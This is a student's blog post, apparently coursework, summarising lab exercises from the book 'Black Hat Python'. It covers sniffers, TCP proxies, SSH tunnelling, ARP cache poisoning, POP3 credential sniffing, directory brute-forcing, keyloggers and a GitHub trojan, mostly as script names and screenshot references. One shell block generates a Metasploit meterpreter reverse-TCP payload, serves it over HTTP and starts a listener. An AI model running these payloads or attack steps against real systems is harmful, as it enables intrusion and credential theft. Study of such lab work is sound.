2017-2018-2 20179204 PYTHON黑帽子 黑客与渗透测试编程之道

python代码见码云:20179204_gege

参考博客Python黑帽子--黑客与渗透测试编程之道关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记

第2章 网络基础

  • tcp客户端(tcpclient.py),可以看到百度返回的HTTP响应。
    1267268-20180617151140719-1945495889.png
  • udp客户端(udpclient.py)

首先先用nc监听一下9999端口,-u就是udp模式,哈哈发过去了,最后打印出了ip和端口,nc没发数据过来,可能就没收到数据。

现在就可以比较一下tcp和udp的区别了,最核心的是udp不用连接,因为是无状态的协议

发送和接受的函数也是有区别的,通过实验发现recv和recvfrom的参数是接收几个字符的意思。
1267268-20180617151143247-1122416981.png

  • tcp服务器(tcpserver.py tcpclient1.py)
    1267268-20180617152657085-686456175.png
  • 取代netcat (bhnet.py)

打开一个终端./bhnet.py -l -p 9999 -c
打开新终端./bhnet.py -t localhost -p 9999
输入ctrl+d
1267268-20180617154441165-1565006055.png

  • 创建一个tcp代理proxy (proxy.py)

        设置浏览器代理127.0.0.1:80
        sudo python ./proxy.py 127.0.0.1 80 www.baidu.com 80 True
        打开浏览器
    1267268-20180617154654126-1089770496.png
    1267268-20180617155346680-1757081418.png.
  • 通过paramiko使用ssh (bh_sshcmd.py bh_sshRcmd.py bh_sshserver.py)
    参考博客Python黑帽子——通过Paramiko使用SSH

        pip install paramiko
        生成密钥 ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key
        添加用户 useradd -d /home/qing qing
       passwd qing
        赋予ssh权限 vi /etc/ssh/sshd_config,添加 AllowUsers:qing

    测试、运行结果

        python bh_sshcmd.py
        python bh_sshserver.py 127.0.0.1 80
        python bh_sshRcmd.py
        可以在服务器端输入一条命令mkdir ddr新建一个ddr文件夹

    1267268-20180617165315340-1239549622.png
    1267268-20180617170102030-213172692.png

1267268-20180617165344629-1697642844.png

  • ssh隧道 (rforward.py bh_sshserver.py)建议在终端同时输一下

    不设置浏览器代理
    终端1:python rforward.py 127.0.0.1 -p 8080 -r 127.0.0.1:80 --user gege --password
    gege    
    终端2:python bh_sshserver.py 127.0.0.1 80
    终端3:python bh_sshRcmd.py
    刷新浏览器127.0.0.1:8080

    1267268-20180617173117355-771490363.png
    1267268-20180617173127483-168100715.png

第3章 网络:原始套接字和流量嗅探

  • linux上的嗅探器 (sniffer.py)注意修改代码中的ip地址

1267268-20180617174124595-1472702218.png

  • linux下测试解码ip层 (sniffer_ip_header_decode)注意修改代码中的ip地址
    1267268-20180617174301892-1323333082.png
  • 解码ICMP (sniffer_with_icmp.py)注意修改代码中的ip地址

type0 code0 说明Echo Reply——回显应答(Ping应答)
解码ICMP
1267268-20180617174706327-173647331.png
1267268-20180617174737174-1522084687.png
注:回显请求与回显应答是两种icmp报文类型,类型号分别是8和0,这两种类型下都只有一种代码0。这两种icmp报文属查询报文,主要用于测试网络中另一台主机是否可达,向欲测试主机发送一份ICMP回显请求,并等待返回ICMP回显应答,如果能收到,表明该主机可达。

  • 子网扫描器 (sniffer.py)注意修改代码中的ip地址和子网地址
    1267268-20180617175732923-1481886072.png

第4章 网络:原始套接字和流量嗅探

  • 简单嗅探器(mail_test.py)
    1267268-20180617180513834-1392341049.png
  • 窃取email认证(mail_sniffer)

需要用命令行模拟邮件登陆(当然我用的是错误的用户名和密码,所以下图是不能登录成功的,但已经说明抓取成功),这里以登陆网易的pop3服务器为例 telnet pop3.163.com 110
1267268-20180617181103788-343335191.png

  • 利用scapy进行arp缓存投毒(arptest.py)需要修改代码中两个ip地址

        攻击机kali,目标机win2k。
        kali上ping攻击机。
        在win上输入命令ipconfig /all,arp -a检查arp缓存。
        首先要开启对网关和目标ip地址的流量进行转发的功能:
        echo 1 > /proc/sys/net/ipv4/ip_forward
    1267268-20180617180545117-1682801341.png
    1267268-20180617183840826-661672484.png
    1267268-20180617183845016-2060271301.png
  • 处理pcap文件(pic_carver1.py)“人脸识别”

        安装opencv: apt-get install python-opencv python-numpy python-scipy
         wget http://eclecti.cc/files/2008/03/haarcascade_frontalface_alt.xml

    1267268-20180617180555555-1863346054.png
    1267268-20180619150157136-819079430.png

第5章 web攻击

  • 开源web应用安装(web_app_mapper.py)
    1267268-20180617202336887-441443225.png
    1267268-20180617204705492-1326265897.png
    web_app_mapper1.py是课本的代码 web_app_mapper2.py。

这里作者应该是利用开源应用的本地文件目录信息去访问目标网站的对应目录,看看哪些目录是跟官方的一样的,举个例子:比如有没有install目录。

  • 暴力破解目录和文件位置(content_bruter.py),其中字典文件all.txt
    1267268-20180617204705492-1326265897.png
    1267268-20180617204906071-757364918.png

  • 暴力破解html表格认证(joomla_killer.py)

这个要搭建apache服务器,单纯做不出。
1267268-20180617210104871-992245614.png

第6章 扩展burp代理

  • burp模糊测试(bhp_fuzzer.py)

打开burpsuite,environment 选择jar文件路径
1267268-20180617210842914-969353108.png
extender——add——bup_fuzzer.py(课本97步骤)
1267268-20180617211004093-1373611556.png
1267268-20180617211343454-1340282933.png
1267268-20180617211345451-1123900668.png
1267268-20180617211347446-2099321884.png
1267268-20180617211349259-549803841.png
1267268-20180617211350999-316707587.png
1267268-20180617211353201-248620427.png
1267268-20180617211355181-164247583.png
1267268-20180617211356982-1105015262.png
1267268-20180617211358908-84573552.png
1267268-20180617211401523-1359892251.png
1267268-20180617212439628-688135304.png

  • 在burp中利用bing服务(bhp_bing.py)课本105步骤
    1267268-20180617223054753-1565718586.png
    1267268-20180617223059567-493938349.png
    1267268-20180617223101431-484735064.png
    1267268-20180617223103747-1269691523.png
  • 利用网站内容生成密码字典(bhp_wordlist.py)课本111步骤
    1267268-20180617224542444-324006771.png
    1267268-20180617224544569-1428860923.png
    1267268-20180617224544887-465620588.png
    1267268-20180617224547224-1841814603.png
    1267268-20180617224548953-375000050.png
    1267268-20180617224550956-2077030390.png

第7章 基于GitHub的命令和控制

  • 基于github通信的木马(git_trojan.py)失败。

第8章 windows下木马的常用功能(沙盒检测没做)

  • 有趣的键盘记录(winxpattacker下运行,C:\Documents and Settings\Administrator文件夹下keylogger.py)

安装过程:
1267268-20180618104528580-764648049.png
IDLE——run module
1267268-20180618104558637-296182149.png
无论键盘输入什么,都会被记录下来。

  • 截取屏幕快照(winxpattacker下运行,screenshotter.py)
    1267268-20180618105727885-190990437.png
    截图保存在c:\WINDOWS\Temp\screenshot.bmp下。

  • python方式的shellcode执行【kali下输入metasploit命令行,winxp下运行需要改代码,windows弹出计算器calc.exe】(shell_exec.py)

kali:

      msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.43.62.77 LPORT=1234 -f raw -o win_backdoor.raw
      base64 -i win_backdoor.raw > shellcode.bin
      python -m SimpleHTTPServer
      metasploit下:
      use exploit/multi/handler
      set LHOST 10.43.62.77
      set LPORT 1234
      exploit

1267268-20180618120403487-1649107256.png
1267268-20180618120415905-649909826.png
winxppython运行
1267268-20180618120439691-1798032590.png
kaliexecute -f calc.exe,在win下查看结果:
1267268-20180618120507031-2002350989.png

第9章 玩转浏览器

  • 基于浏览器的中间人攻击
  • 利用IE的COM组件自动化技术窃取数据

本章只实现了创建一个简单快速的RSA公私钥生成脚本(keygen.py)
1267268-20180618120537975-57552624.png

第10章 windows系统提权(代码插入没做)

  • 利用WMI监视进程(process_monitor.py)
    直接在cmd命令行下python运行,日志只显示在process_monitor_log.csv里了。
    1267268-20180618152242188-896541786.png
  • windows系统的令牌权限(process_monitor1.py)
    1267268-20180618152544699-315365693.png
    1267268-20180618152546974-293231451.png
  • 赢得竞争(file_monitor1.py)
    1267268-20180618162152047-979720532.png

第11章 自动化攻击取证(本章没成功)

  • 抓取口令的哈希值

  • 直接代码注入(code_inject.py)失败

转载于:https://www.cnblogs.com/20179204gege/p/9193616.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值